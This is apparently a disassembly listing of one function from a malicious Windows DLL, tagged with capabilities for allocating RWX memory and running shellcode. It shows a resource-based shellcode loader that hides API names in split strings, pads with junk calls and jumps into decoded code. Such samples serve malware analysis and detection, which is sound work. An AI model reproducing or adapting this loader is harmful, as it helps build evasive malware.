Function at 0x100011d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x184
mov eax, dword [0x10027330]
xor eax, esp
mov dword [esp + 0x180], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x10024b80
lea ecx, [esp + 0xf0]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x44], 0x17
mov dword [esp + 0x48], 0x1e55
mov dword [esp + 0x4c], 0x409
call fcn.10001f40
push str.Acces
lea ecx, [esp + 0xd0]
call fcn.10001f40
push str.sResource
lea ecx, [esp + 0x110]
call fcn.10001f40
lea eax, [esp + 0x10c]
push eax
push ecx
lea ecx, [esp + 0xd4]
push ecx
lea edx, [esp + 0xf8]
push edx
lea eax, [esp + 0x2c]
push eax
call fcn.10002510
add esp, 0x10
push eax
lea ecx, [esp + 0x74]
push ecx
call fcn.10002510
add esp, 0xc
cmp dword [esp + 0x38], 0x10
jb 0x1000128a
mov edx, dword [esp + 0x24]
push edx
call fcn.10003b50
add esp, 4
mov esi, 0xf
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.10003270
mov eax, dword [esp + 0x1c]
cmp eax, 0xfffffffd
je 0x100012c8
cmp eax, ebx
je 0x100012c4
mov dword [eax], ebx
mov eax, dword [esp + 0x1c]
mov eax, dword [eax + 4]
mov dword [esp + 0x1c], eax
cmp eax, ebx
jne 0x100012b3
mov dword [esp + 0x1c], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.LdrF
lea ecx, [esp + 0x150]
mov edi, eax
call fcn.10001f40
push 0x10024bac
lea ecx, [esp + 0x170]
call fcn.10001f40
push str.Reso
lea ecx, [esp + 0x130]
call fcn.10001f40
push str.urce_U
lea ecx, [esp + 0xb0]
call fcn.10001f40
lea ecx, [esp + 0xac]
push ecx
push ecx
lea edx, [esp + 0x134]
push edx
push ecx
lea eax, [esp + 0x17c]
push eax
lea ecx, [esp + 0x160]
push ecx
lea edx, [esp + 0x64]
push edx
call fcn.10002510
add esp, 0x10
push eax
lea eax, [esp + 0x2c]
push eax
call fcn.10002510
add esp, 0x10
push eax
lea ecx, [esp + 0x94]
push ecx
call fcn.10002510
add esp, 0xc
cmp dword [esp + 0x38], 0x10
jb 0x10001384
mov edx, dword [esp + 0x24]
push edx
call fcn.10003b50
add esp, 4
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
call fcn.10003270
mov eax, dword [esp + 0x1c]
cmp eax, 0xfffffffd
je 0x100013c5
cmp eax, ebx
je 0x100013c1
jmp 0x100013b0
mov dword [eax], ebx
mov eax, dword [esp + 0x1c]
mov eax, dword [eax + 4]
mov dword [esp + 0x1c], eax
cmp eax, ebx
jne 0x100013b0
mov dword [esp + 0x1c], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
cmp dword [esp + 0x68], 0x10
jb 0x100013e2
mov ecx, dword [esp + 0x54]
push ecx
call fcn.10003b50
add esp, 4
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0x6c], esi
mov dword [esp + 0x68], ebx
mov byte [esp + 0x58], bl
call fcn.10003270
mov eax, dword [esp + 0x4c]
cmp eax, 0xfffffffd
je 0x1000141b
cmp eax, ebx
je 0x10001417
mov dword [eax], ebx
mov edx, dword [esp + 0x4c]
mov eax, dword [edx + 4]
mov dword [esp + 0x4c], eax
cmp eax, ebx
jne 0x10001406
mov dword [esp + 0x4c], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
push ebx
push ebx
call esi
cmp dword [esp + 0xa8], 0x10
mov esi, dword [esp + 0x94]
jae 0x100015d2
lea esi, [esp + 0x94]
push ebx
push 0x40
push 0x3000
push 0x11
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call sub.KERNEL32.dll_VirtualAllocExNuma
cmp eax, ebx
je 0x100015f3
mov dword [0x10028080], ebx
mov ecx, dword [esi]
mov dword [eax], ecx
mov edx, dword [esi + 4]
mov dword [eax + 4], edx
mov ecx, dword [esi + 8]
mov dword [eax + 8], ecx
mov edx, dword [esi + 0xc]
mov dword [eax + 0xc], edx
mov cl, byte [esi + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
push edi
mov byte [eax + 0x10], cl
call esi
cmp dword [esp + 0x88], 0x10
mov dword [0x10028c44], eax
mov eax, dword [esp + 0x74]
jae 0x10001630
lea eax, [esp + 0x74]
push eax
push edi
call esi
lea edx, [esp + 0x3c]
push edx
push 0x10024bc0
mov dword [0x10028c48], eax
call fcn.10003b30
add esp, 4
push eax
lea eax, [esp + 0x48]
push eax
push 0x10000000
call dword [0x10028c44]
test eax, eax
jl 0x1000167a
mov eax, dword [esp + 0x3c]
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x1c]
push edx
push eax
push 0x10000000
call dword [0x10028c48]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFileGather]
test eax, eax
je 0x10001a8e
mov edi, 0x10
cmp dword [esp + 0xa8], edi
jb 0x100016ab
mov ecx, dword [esp + 0x94]
push ecx
call fcn.10003b50
add esp, 4
mov esi, 0xf
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0xac], esi
mov dword [esp + 0xa8], ebx
mov byte [esp + 0x98], bl
call fcn.10003270
mov eax, dword [esp + 0x8c]
cmp eax, 0xfffffffd
je 0x100016fe
cmp eax, ebx
je 0x100016f7
mov dword [eax], ebx
mov edx, dword [esp + 0x8c]
mov eax, dword [edx + 4]
mov dword [esp + 0x8c], eax
cmp eax, ebx
jne 0x100016e0
mov dword [esp + 0x8c], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
cmp dword [esp + 0xc8], edi
jb 0x10001720
mov eax, dword [esp + 0xb4]
push eax
call fcn.10003b50
add esp, 4
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0xcc], esi
mov dword [esp + 0xc8], ebx
mov byte [esp + 0xb8], bl
call fcn.10003270
mov eax, dword [esp + 0xac]
cmp eax, 0xfffffffd
je 0x1000176e
cmp eax, ebx
je 0x10001767
mov dword [eax], ebx
mov ecx, dword [esp + 0xac]
mov eax, dword [ecx + 4]
mov dword [esp + 0xac], eax
cmp eax, ebx
jne 0x10001750
mov dword [esp + 0xac], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
cmp dword [esp + 0x148], edi
jb 0x10001790
mov edx, dword [esp + 0x134]
push edx
call fcn.10003b50
add esp, 4
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0x14c], esi
mov dword [esp + 0x148], ebx
mov byte [esp + 0x138], bl
call fcn.10003270
mov eax, dword [esp + 0x12c]
cmp eax, 0xfffffffd
je 0x100017de
cmp eax, ebx
je 0x100017d7
mov dword [eax], ebx
mov eax, dword [esp + 0x12c]
mov eax, dword [eax + 4]
mov dword [esp + 0x12c], eax
cmp eax, ebx
jne 0x100017c0
mov dword [esp + 0x12c], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
cmp dword [esp + 0x188], edi
jb 0x10001800
mov ecx, dword [esp + 0x174]
push ecx
call fcn.10003b50
add esp, 4
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0x18c], esi
mov dword [esp + 0x188], ebx
mov byte [esp + 0x178], bl
call fcn.10003270
mov eax, dword [esp + 0x16c]
cmp eax, 0xfffffffd
je 0x1000184e
cmp eax, ebx
je 0x10001847
mov dword [eax], ebx
mov edx, dword [esp + 0x16c]
mov eax, dword [edx + 4]
mov dword [esp + 0x16c], eax
cmp eax, ebx
jne 0x10001830
mov dword [esp + 0x16c], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
cmp dword [esp + 0x168], edi
jb 0x10001870
mov eax, dword [esp + 0x154]
push eax
call fcn.10003b50
add esp, 4
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0x16c], esi
mov dword [esp + 0x168], ebx
mov byte [esp + 0x158], bl
call fcn.10003270
mov eax, dword [esp + 0x14c]
cmp eax, 0xfffffffd
je 0x100018be
cmp eax, ebx
je 0x100018b7
mov dword [eax], ebx
mov ecx, dword [esp + 0x14c]
mov eax, dword [ecx + 4]
mov dword [esp + 0x14c], eax
cmp eax, ebx
jne 0x100018a0
mov dword [esp + 0x14c], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
cmp dword [esp + 0x88], edi
jb 0x100018dd
mov edx, dword [esp + 0x74]
push edx
call fcn.10003b50
add esp, 4
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0x8c], esi
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
call fcn.10003270
mov eax, dword [esp + 0x6c]
cmp eax, 0xfffffffd
je 0x1000191c
cmp eax, ebx
je 0x10001918
mov dword [eax], ebx
mov eax, dword [esp + 0x6c]
mov eax, dword [eax + 4]
mov dword [esp + 0x6c], eax
cmp eax, ebx
jne 0x10001907
mov dword [esp + 0x6c], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
cmp dword [esp + 0x128], edi
jb 0x1000193e
mov ecx, dword [esp + 0x114]
push ecx
call fcn.10003b50
add esp, 4
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0x12c], esi
mov dword [esp + 0x128], ebx
mov byte [esp + 0x118], bl
call fcn.10003270
mov eax, dword [esp + 0x10c]
cmp eax, 0xfffffffd
je 0x1000198e
cmp eax, ebx
je 0x10001987
mov edi, edi
mov dword [eax], ebx
mov edx, dword [esp + 0x10c]
mov eax, dword [edx + 4]
mov dword [esp + 0x10c], eax
cmp eax, ebx
jne 0x10001970
mov dword [esp + 0x10c], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
cmp dword [esp + 0xe8], edi
jb 0x100019b0
mov eax, dword [esp + 0xd4]
push eax
call fcn.10003b50
add esp, 4
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0xec], esi
mov dword [esp + 0xe8], ebx
mov byte [esp + 0xd8], bl
call fcn.10003270
mov eax, dword [esp + 0xcc]
cmp eax, 0xfffffffd
je 0x100019fe
cmp eax, ebx
je 0x100019f7
mov dword [eax], ebx
mov ecx, dword [esp + 0xcc]
mov eax, dword [ecx + 4]
mov dword [esp + 0xcc], eax
cmp eax, ebx
jne 0x100019e0
mov dword [esp + 0xcc], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
cmp dword [esp + 0x108], edi
jb 0x10001a20
mov edx, dword [esp + 0xf4]
push edx
call fcn.10003b50
add esp, 4
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0x10c], esi
mov dword [esp + 0x108], ebx
mov byte [esp + 0xf8], bl
call fcn.10003270
mov eax, dword [esp + 0xec]
cmp eax, 0xfffffffd
je 0x10001a6e
cmp eax, ebx
je 0x10001a67
mov dword [eax], ebx
mov eax, dword [esp + 0xec]
mov eax, dword [eax + 4]
mov dword [esp + 0xec], eax
cmp eax, ebx
jne 0x10001a50
mov dword [esp + 0xec], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x180]
xor ecx, esp
call fcn.10003730
mov esp, ebp
pop ebp
ret
push 0x10024bc4
call fcn.10003b30
add esp, 4
push eax
push 0x10024bc4
call fcn.10003b30
add esp, 4
push 0x10024bc4
mov esi, eax
call fcn.10003b30
imul esi, eax
mov ecx, dword [esp + 0x1c]
add esp, 4
push esi
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [esp + 0x14]
mov esi, eax
mov eax, dword [esp + 0x18]
push edx
push eax
push esi
call fcn.10009140
add esp, 0xc
lea eax, [esp + 0x10]
call fcn.10001090
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x18]
push esi
call fcn.10001120
mov edx, dword [esp + 0x1c]
add esp, 8
push edx
push esi
call fcn.10002d40
mov edx, dword [eax]
add edx, 0x78
cmp dword [edx + 4], ebx
jne 0x10001b19
push 0x7f
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x10001b1e
call fcn.10003000
call eax
push ebx
push ebx
push 0x10024b40
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
mov edi, 0x10
cmp dword [esp + 0xa8], edi
jb 0x10001b4c
mov eax, dword [esp + 0x94]
push eax
call fcn.10003b50
add esp, 4
mov esi, 0xf
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0xac], esi
mov dword [esp + 0xa8], ebx
mov byte [esp + 0x98], bl
call fcn.10003270
mov eax, dword [esp + 0x8c]
cmp eax, 0xfffffffd
je 0x10001b9f
cmp eax, ebx
je 0x10001b98
mov dword [eax], ebx
mov ecx, dword [esp + 0x8c]
mov eax, dword [ecx + 4]
mov dword [esp + 0x8c], eax
cmp eax, ebx
jne 0x10001b81
mov dword [esp + 0x8c], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
cmp dword [esp + 0xc8], edi
jb 0x10001bc1
mov edx, dword [esp + 0xb4]
push edx
call fcn.10003b50
add esp, 4
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0xcc], esi
mov dword [esp + 0xc8], ebx
mov byte [esp + 0xb8], bl
call fcn.10003270
mov eax, dword [esp + 0xac]
cmp eax, 0xfffffffd
je 0x10001c0f
cmp eax, ebx
je 0x10001c08
mov dword [eax], ebx
mov eax, dword [esp + 0xac]
mov eax, dword [eax + 4]
mov dword [esp + 0xac], eax
cmp eax, ebx
jne 0x10001bf1
mov dword [esp + 0xac], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
cmp dword [esp + 0x148], edi
jb 0x10001c31
mov ecx, dword [esp + 0x134]
push ecx
call fcn.10003b50
add esp, 4
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0x14c], esi
mov dword [esp + 0x148], ebx
mov byte [esp + 0x138], bl
call fcn.10003270
mov eax, dword [esp + 0x12c]
cmp eax, 0xfffffffd
je 0x10001c7f
cmp eax, ebx
je 0x10001c78
mov dword [eax], ebx
mov edx, dword [esp + 0x12c]
mov eax, dword [edx + 4]
mov dword [esp + 0x12c], eax
cmp eax, ebx
jne 0x10001c61
mov dword [esp + 0x12c], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
cmp dword [esp + 0x188], edi
jb 0x10001ca1
mov eax, dword [esp + 0x174]
push eax
call fcn.10003b50
add esp, 4
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0x18c], esi
mov dword [esp + 0x188], ebx
mov byte [esp + 0x178], bl
call fcn.10003270
mov eax, dword [esp + 0x16c]
cmp eax, 0xfffffffd
je 0x10001cef
cmp eax, ebx
je 0x10001ce8
mov dword [eax], ebx
mov ecx, dword [esp + 0x16c]
mov eax, dword [ecx + 4]
mov dword [esp + 0x16c], eax
cmp eax, ebx
jne 0x10001cd1
mov dword [esp + 0x16c], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
cmp dword [esp + 0x168], edi
jb 0x10001d11
mov edx, dword [esp + 0x154]
push edx
call fcn.10003b50
add esp, 4
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0x16c], esi
mov dword [esp + 0x168], ebx
mov byte [esp + 0x158], bl
call fcn.10003270
mov eax, dword [esp + 0x14c]
cmp eax, 0xfffffffd
je 0x10001d5f
cmp eax, ebx
je 0x10001d58
mov dword [eax], ebx
mov eax, dword [esp + 0x14c]
mov eax, dword [eax + 4]
mov dword [esp + 0x14c], eax
cmp eax, ebx
jne 0x10001d41
mov dword [esp + 0x14c], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
cmp dword [esp + 0x88], edi
jb 0x10001d7e
mov ecx, dword [esp + 0x74]
push ecx
call fcn.10003b50
add esp, 4
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0x8c], esi
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
call fcn.10003270
mov eax, dword [esp + 0x6c]
cmp eax, 0xfffffffd
je 0x10001dc5
cmp eax, ebx
je 0x10001dc1
jmp 0x10001db0
mov dword [eax], ebx
mov edx, dword [esp + 0x6c]
mov eax, dword [edx + 4]
mov dword [esp + 0x6c], eax
cmp eax, ebx
jne 0x10001db0
mov dword [esp + 0x6c], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
cmp dword [esp + 0x128], edi
jb 0x10001de7
mov eax, dword [esp + 0x114]
push eax
call fcn.10003b50
add esp, 4
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0x12c], esi
mov dword [esp + 0x128], ebx
mov byte [esp + 0x118], bl
call fcn.10003270
mov eax, dword [esp + 0x10c]
cmp eax, 0xfffffffd
je 0x10001e3e
cmp eax, ebx
je 0x10001e37
jmp 0x10001e20
mov dword [eax], ebx
mov ecx, dword [esp + 0x10c]
mov eax, dword [ecx + 4]
mov dword [esp + 0x10c], eax
cmp eax, ebx
jne 0x10001e20
mov dword [esp + 0x10c], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
cmp dword [esp + 0xe8], edi
jb 0x10001e60
mov edx, dword [esp + 0xd4]
push edx
call fcn.10003b50
add esp, 4
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0xec], esi
mov dword [esp + 0xe8], ebx
mov byte [esp + 0xd8], bl
call fcn.10003270
mov eax, dword [esp + 0xcc]
cmp eax, 0xfffffffd
je 0x10001eae
cmp eax, ebx
je 0x10001ea7
mov dword [eax], ebx
mov eax, dword [esp + 0xcc]
mov eax, dword [eax + 4]
mov dword [esp + 0xcc], eax
cmp eax, ebx
jne 0x10001e90
mov dword [esp + 0xcc], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
cmp dword [esp + 0x108], edi
jb 0x10001ed0
mov ecx, dword [esp + 0xf4]
push ecx
call fcn.10003b50
add esp, 4
push 3
lea ecx, [esp + 0x14]
mov dword [esp + 0x10c], esi
mov dword [esp + 0x108], ebx
mov byte [esp + 0xf8], bl
call fcn.10003270
mov eax, dword [esp + 0xec]
cmp eax, 0xfffffffd
je 0x10001f1e
cmp eax, ebx
je 0x10001f17
mov dword [eax], ebx
mov edx, dword [esp + 0xec]
mov eax, dword [edx + 4]
mov dword [esp + 0xec], eax
cmp eax, ebx
jne 0x10001f00
mov dword [esp + 0xec], ebx
lea ecx, [esp + 0x10]
call fcn.100032b0
mov ecx, dword [esp + 0x18c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10003730
mov esp, ebp
pop ebp
ret